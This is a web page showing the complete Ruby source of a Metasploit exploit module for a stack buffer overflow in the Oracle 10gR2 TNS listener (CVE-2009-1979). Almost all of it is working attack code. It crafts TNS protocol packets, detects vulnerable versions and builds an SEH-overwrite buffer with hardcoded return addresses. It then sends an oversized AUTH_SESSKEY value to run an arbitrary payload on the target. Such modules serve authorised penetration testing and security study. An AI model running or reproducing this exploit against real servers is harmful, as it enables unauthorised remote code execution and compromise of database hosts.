Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/oracle/tns_auth_sesskey.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::TNS9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'Oracle 10gR2 TNS Listener AUTH_SESSKEY Buffer Overflow',14'Description' => %q{15This module exploits a stack buffer overflow in Oracle. When16sending a specially crafted packet containing a long AUTH_SESSKEY value17to the TNS service, an attacker may be able to execute arbitrary code.18},19'Author' => [ 'jduck' ],20'License' => MSF_LICENSE,21'References' =>22[23[ 'CVE', '2009-1979'],24[ 'OSVDB', '59110'],25[ 'BID', '36747'],26[ 'URL', 'http://blogs.conus.info/node/28' ],27[ 'URL', 'http://blogs.conus.info/node/35' ],28[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2009.html' ],29],30'Privileged' => true,31'DefaultOptions' =>32{33'EXITFUNC' => 'seh',34},35'Payload' =>36{37'Space' => 0x17e,38'BadChars' => "", # none, thx memcpy!39'StackAdjustment' => -3500,40},41'Platform' => 'win',42'Targets' =>43[44[ 'Automatic', { } ],4546[ 'Oracle 10.2.0.1.0 Enterprise Edition',47{48# Untested49'Ret' => 0x011b0528 # p/p/r in oracle.exe v10.2.0.350}51],52[ 'Oracle 10.2.0.4.0 Enterprise Edition',53{54# Tested OK - 2010-Jan-20 - jduck55'Ret' => 0x01347468 # p/p/r in oracle.exe v10.2.0.356}57]58],59'DefaultTarget' => 0,60'DisclosureDate' => '2009-10-20'))6162register_options(63[64OptString.new('SID', [ true, 'The target database SID', 'ORCL']),65Opt::RPORT(1521)66])67end686970def check71version = tns_version72if (not version)73vprint_error("Unable to detect the Oracle version!")74return Exploit::CheckCode::Unknown75end76vprint_status("Oracle version reply: " + version)77return Exploit::CheckCode::Appears if (version =~ /32-bit Windows: Version 10\.2\.0\.1\.0/)78return Exploit::CheckCode::Appears if (version =~ /32-bit Windows: Version 10\.2\.0\.4\.0/)79return Exploit::CheckCode::Safe80end818283def exploit8485mytarget = nil86if target.name =~ /Automatic/87print_status("Attempting automatic target detection...")8889version = tns_version90if (not version)91fail_with(Failure::NoTarget, "Unable to detect the Oracle version!")92end9394if (version =~ /32-bit Windows: Version 10\.2\.0\.1\.0/)95mytarget = targets[1]96elsif (version =~ /32-bit Windows: Version 10\.2\.0\.4\.0/)97mytarget = targets[2]98end99100if (not mytarget)101fail_with(Failure::NoTarget, "Unable to automatically detect the target")102end103104print_status("Automatically detected target \"#{mytarget.name}\"")105else106mytarget = target107108print_status("Attacking using target \"#{mytarget.name}\"")109end110111112username = rand_text_alphanumeric(0x1c)113114connect115116print_status("Sending NSPTCN packet ...")117connect_data = "" +118"(DESCRIPTION=" +119"(CONNECT_DATA=" +120"(SERVICE_NAME=#{datastore['SID']})" +121"(CID=" +122"(PROGRAM=client.exe)" +123"(HOST=client_host)" +124")" +125")" +126"(ADDRESS=" +127"(PROTOCOL=TCP)" +128"(PORT=1521)" +129")" +130")"131nsptcn_pkt = tns_packet(connect_data)132sock.put(nsptcn_pkt)133134# read NSPTRS (expecting 8 bytes)135res = sock.get_once(-1, 1)136#print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))137138print_status("Re-sending NSPTCN packet ...")139sock.put(nsptcn_pkt)140141# read NSPTAC (expecting 32 bytes)142begin143res = sock.get_once(-1, 1)144rescue ::Errno::ECONNRESET, EOFError145fail_with(Failure::Unknown, "OOPS, maybe the service hasn't started completely yet, try again...")146end147#print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))148149# send NA150print_status("Sending NA packet ...")151na_stuff = [0xdeadbeef].pack('N') +152"\x00\x92" +153"\x0B\x10\x06\x00\x00\x04\x00\x00\x04\x00\x03\x00\x00\x00\x00\x00" +154"\x04\x00\x05\x0B\x10\x06\x00\x00\x08\x00\x01\x00\x00\x0A\xF8\x71" +155"\xC2\x6C\xE1\x00\x12\x00\x01\xDE\xAD\xBE\xEF\x00\x03\x00\x00\x00" +156"\x04\x00\x04\x00\x01\x00\x01\x00\x02\x00\x01\x00\x03\x00\x00\x00" +157"\x00\x00\x04\x00\x05\x0B\x10\x06\x00\x00\x02\x00\x03\xE0\xE1\x00" +158"\x02\x00\x06\xFC\xFF\x00\x02\x00\x02\x00\x00\x00\x00\x00\x04\x00" +159"\x05\x0B\x10\x06\x00\x00\x0C\x00\x01\x00\x11\x06\x10\x0C\x0F\x0A" +160"\x0B\x08\x02\x01\x03\x00\x03\x00\x02\x00\x00\x00\x00\x00\x04\x00" +161"\x05\x0B\x10\x06\x00\x00\x03\x00\x01\x00\x03\x01"162na_pkt = nsptda_packet(na_stuff)163sock.put(na_pkt)164165# read response (expecting 127 bytes)166res = sock.get_once(-1, 1)167#print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))168169# send TTIPRO170print_status("Sending TTIPRO packet ...")171ttipro_stuff = "\x01\x06\x05\x04\x03\x02\x01\x00" +172"IBMPC/WIN_NT-8.1.0" +173"\x00"174ttipro_pkt = nsptda_packet(ttipro_stuff)175sock.put(ttipro_pkt)176177# read response (expecting 179 bytes)178res = sock.get_once(-1, 1)179#print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))180181# send TTIDTY182print_status("Sending TTIDTY packet ...")183ttidty_stuff = "\x02\xB2\x00\xB2\x00\xD2" +184"\x25\x06\x01\x01\x01\x0D\x01\x01\x05\x01\x01\x01\x01\x01\x01\x01" +185"\x7F\xFF\x03\x09\x03\x03\x01\x00\x7F\x01\x1F\xFF\x01\x03\x01\x01" +186"\x3F\x01\x01\x05\x00\x01\x07\x02\x01\x00\x00\x18\x00\x01\x80\x00" +187"\x00\x00\x3C\x3C\x3C\x80\x00\x00\x00\xD0\x07"188ttidty_pkt = nsptda_packet(ttidty_stuff)189sock.put(ttidty_pkt)190191# read response (expecting 22 bytes)192res = sock.get_once(-1, 1)193#print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))194195# send first auth pkt (call OSESSKEY)196print_status("Calling OSESSKEY ...")197params = []198dtyauth_pkt = dtyauth_packet(0x76, username, 1, params)199sock.put(dtyauth_pkt)200201# read RPA (expecting 225 bytes)202res = sock.get_once(-1, 1)203#print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))204205# build exploit buffer206print_status("Calling kpoauth with long AUTH_SESSKEY ...")207sploit = payload.encoded208sploit << rand_text_alphanumeric(0x19a - 0x17e)209sploit << generate_seh_record(mytarget.ret)210distance = payload_space + 8 + 5211sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string212213# ensure bad ptr is derefed214value = rand(0x3fffffff) | 0xc0000000215sploit[0x17e,4] = [value].pack('V')216217# send overflow trigger packet (call kpoauth)218params = []219params << {220'Name' => 'AUTH_SESSKEY',221'Value' => sploit,222'Flag' => 1223}224dtyauth_pkt = dtyauth_packet(0x73, username, 0x121, params)225sock.put(dtyauth_pkt)226227# expecting disconnect...228if (res = sock.get_once(-1, 1))229print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))230fail_with(Failure::NoTarget, "Try to run the exploit again.. If that doesn't work, the target host may be patched :-/")231end232233handler234disconnect235end236237238def tns_version239connect240version = "(CONNECT_DATA=(COMMAND=VERSION))"241pkt = tns_packet(version)242sock.put(pkt)243sock.get_once244res = sock.get_once(-1, 1)245disconnect246return res247rescue EOFError248return nil249end250251252def nsptda_packet(data)253pkt = [data.length + 10].pack('n') # NSPHDLEN254pkt << [0].pack('n') # NSPHDPSM255pkt << [6].pack('C') # pkt type256pkt << [0].pack('C') # reserved257pkt << [0].pack('n') # NSPHDHSM258pkt << [0].pack('n') # NSPDAFLG259pkt << data260return pkt261end262263264def dtyauth_packet(opi, user, flag, params)265dunno = 2266dunno = 3 if opi == 0x73267268pkt = [3, opi, dunno].pack('CCC')269270pkt << [-2].pack('V')271pkt << [user.length].pack('V')272pkt << [flag].pack('V')273274pkt << [-2].pack('V')275pkt << [params.length].pack('V')276pkt << [-2].pack('V')277pkt << [-2].pack('V')278279pkt << [user.length].pack('C')280pkt << user281282params.each { |param|283name = param['Name']284pkt << [name.length].pack('V')285pkt << [name.length].pack('C')286pkt << name287288val = param['Value']289pkt << [val.length].pack('V')290if (val.length > 0)291if (val.length > 0xff)292pkt << chunkify(val)293else294pkt << [val.length].pack('C')295pkt << val296end297end298299flag = param['Flag']300pkt << [flag].pack('V')301}302return nsptda_packet(pkt)303end304305306def chunkify(buf)307ret = ""308if buf.length > 0xff309ret << "\xfe"310311while (buf.length > 0xff)312ret << "\xff"313ret << buf.slice!(0, 0xff)314end315if buf.length > 0316ret << [buf.length].pack('C')317ret << buf318end319320ret << "\x00"321else322ret << [buf.length].pack('C')323ret << buf324end325return ret326end327end328329330